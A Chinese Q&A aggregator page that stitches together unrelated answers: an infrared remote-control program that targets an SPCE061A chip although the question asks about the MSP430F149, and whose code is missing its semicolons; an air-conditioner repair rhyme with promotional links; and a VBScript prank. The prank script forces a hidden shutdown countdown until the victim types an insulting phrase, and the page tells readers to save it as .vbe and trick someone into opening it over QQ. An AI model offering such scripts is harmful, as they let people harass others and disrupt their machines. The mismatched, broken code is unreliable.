找人编写一段基于MSP430F149的万能红外遥控程序,我有流程图!!价格好说

找人编写一段基于MSP430F149的万能红外遥控程序,我有流程图!!价格好说,第1张

红外遥控程序

#include "SPCE061A.H"

#define LED_SEG 0x00ff //IOB0~IOB7

#define LED_DIG 0x3f00 //IOB8~IOB13

unsigned int Time=0,Code[40]={0},CodeNum=0//计数器,32位码,码字计数

//extern unsigned int Time,CodeNum,Code[40]

unsigned int Star_Flag,First_IRQ

//====================================================================================

//函数名称:unsigned getkey(void)

//函数功能:获得红外遥控器键值

//入口参数:无

//出口参数:无

//说明:适用于32位码字红外接收头及宏科万能遥控器

//====================================================================================

unsigned getkey(void)

{

unsigned int j=0

unsigned int DateCode,key=0

if(Code[0]==5) //判断头部是否是5;防止误接收

{ for(j=9j<=14j++)

{

*P_Watchdog_Clear = 0x01

if(Code[j]==1&&Code[j+1]==1&&Code[j+2]==1&&Code[j+3]==1&&Code[j+4]==1&&Code[j+5]==1&&Code[j+6]==0&&Code[j+7]==1)

{ //判断用户识别码是不是1111 1101

for(DateCode=0DateCode<8DateCode++)//若是,则开始接收八位数据码

{

Code[j+8+DateCode]<<=8

key|=Code[j+8+DateCode]

key>>=1 //将八位二进制数倒序转成16进制

}

break

}

}

Code[0]=0//将头部清零

return key//返回键值

}

else return(0)

}

//====================================================================

//函数名称:void IO_Init()

//函数功能:IO口初始化,主要是设置IOB2口,用于外中断

//入口参数:无

//出口参数:无

//====================================================================

void IO_Init()

{

*P_IOB_Attrib&=0xfffb //IOB2端口上拉电阻输入 外中断

*P_IOB_Dir&=0xfffb

*P_TimerA_Ctrl=C_SourceA_32768Hz+C_SourceB_1//TimerA:32768Hz

*P_TimerA_Data=0xfffe

*P_INT_Ctrl=C_IRQ3_EXT1|C_IRQ1_TMA// 外中断1,时基中断,定时中断

__asm("INT IRQ")

}

//=====================================================================

//函数名称:

//函数功能:中断函数

//入口参数:无

//出口参数:无

//=====================================================================

void IRQ3(void) __attribute__ ((ISR))

void IRQ3(void)

{

if(*P_INT_Ctrl&C_IRQ3_EXT2)

{ //IRQ3_Ext1

*P_INT_Clear=C_IRQ3_EXT2

}

else if(*P_INT_Ctrl&C_IRQ3_EXT1)

{//外中断1用于判断脉冲个数

if(!First_IRQ) {Time=0First_IRQ=1}//第一次外中断来时设置

else

{

if(Time>180&&Time<240)//判断起始码

{Star_Flag=1CodeNum=0Code[0]=5CodeNum=1Time=0}//起始码来时设置

if(Star_Flag)//开始接收

{

if((Time>=10)&&(Time<25))Code[CodeNum]=0//计数值设置

else if((Time>25)&&(Time<40))Code[CodeNum]=1

CodeNum++//码字计数器加1

Time=0//计数值清零,以对下一个脉冲宽度进行计时

if(CodeNum>40) {CodeNum=0Star_Flag=0First_IRQ=0}//脉冲个数判断,共32个,此处设为40,是为防止漏接收

}

}

*P_INT_Clear=C_IRQ3_EXT1

}

else

{

*P_INT_Clear=C_IRQ3_KEY//IRQ3_KeyWakeUp

}

}

void IRQ1(void) __attribute__ ((ISR))

void IRQ1(void)

{ Time++//计数以获得脉冲宽度

*P_INT_Clear=C_IRQ1_TMA//clear INT flag

}

——空调出故障了?以我修过7年的空调经验告诉你怎么解决这些故障,应该能让你少走不少弯路。

第一:遇到空调出现故障代码时你可以去【空调故障代码网】查询,细到空调品牌和型号。

在碰到空调有故障的时候必须严格遵循科学的程序办事,切忌在情况不清、故障不明、心中无数时就盲目行动,随意拆卸。这样做的后果往往会使已有的故障扩大化,增大运行成本,缩短设备的正常使用寿命,导致设备提前报废。

第二:在空调制冷不好或者不制冷的最常见故障我编成了一个绕口令,可以参考一下。

空调制冷不好或者不制冷

这个问题最常见空调缺氟是关键

开机先摸回气管通过温度来判断

如果冰凉查内机风机转速可能低

内管鳞片和防尘清洗干净或更换

如果内管不算凉粗管可能有压扁

回气温度不算凉再摸进气来判断

进气冰凉还结霜加氟再来试试看

结霜如果慢慢散定是缺氟好决断

压机老化不难见排气不足是重点

四通串气也常见通过收氟来判断

高压鳞片必须看脏了也会制冷慢

如果还不明白还是建议你去【空调故障代码网】基础知识专区与多看看维修案例就可以上手了。

希望你越过越好,新的一年,顺心如意,心想事成,身体健康,合家欢乐

———————————最后祝工作顺利,早些把空调修好,生活开心——————————

—————————觉得好就请点采纳答案把,给个好评,祝愿你生活更美好——————

我不知道你是不是这个整人代码!

代码如下:

--------------------------------------------我是横线不要复制我------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,你确实是一头猪~"

--------------------------------------------我是横线不要复制我------------------------------------------

将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe

把文件传送给对方~~只要对方一打开一分钟就会关机,如上面说的,要你说那三个字,就不会关机了哈哈大家试试吧。

用QQ传送文件发送给他!叫他打开!


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/11203940.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-14
下一篇 2023-05-14

发表评论

登录后才能评论

评论列表(0条)

保存